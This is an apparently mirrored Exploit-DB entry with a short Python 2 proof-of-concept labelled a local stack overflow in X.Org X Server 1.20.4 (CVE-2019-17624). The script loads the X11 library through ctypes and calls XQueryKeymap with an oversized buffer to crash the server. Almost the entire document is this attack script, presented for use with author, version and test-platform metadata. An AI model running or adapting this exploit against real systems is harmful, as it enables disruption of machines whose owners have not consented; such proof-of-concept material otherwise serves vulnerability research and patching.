X.Org X Server 1.20.4 – Local Stack Overflow

  • 作者: s4vitar
    日期: 2019-10-16
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/47507/
  • # Exploit Title: X.Org X Server 1.20.4 - Local Stack Overflow
    # Date: 2019-10-16
    # Exploit Author: Marcelo Vázquez (aka s4vitar)
    # Vendor Homepage: https://www.x.org/
    # Version: <= 1.20.4
    # Tested on: Linux
    # CVE: CVE-2019-17624
    
    #!/usr/bin/python
    #coding: utf-8
    
    # ************************************************************************
    # *Author: Marcelo Vázquez (aka s4vitar) *
    # *X.Org X Server 1.20.4 / X Protocol Version 11 (Stack Overflow)*
    # ************************************************************************
    
    import sys, time
    import ctypes as ct
    
    from ctypes import cast
    from ctypes.util import find_library
    
    def access_violation(x11, current_display):
    	keyboard = (ct.c_char * 1000)()
    	x11.XQueryKeymap(current_display, keyboard)
    
    if __name__ == '__main__':
    
    	print "\n[*] Loading x11...\n"
    	time.sleep(2)
    
    	x11 = ct.cdll.LoadLibrary(find_library("X11"))
    	current_display = x11.XOpenDisplay(None)
    
    	print "[*] Exploiting...\n"
    	time.sleep(1)
    
    	try:
    		access_violation(x11, current_display)
    
    	except:
    		print "\nError...\n"
    		sys.exit(1)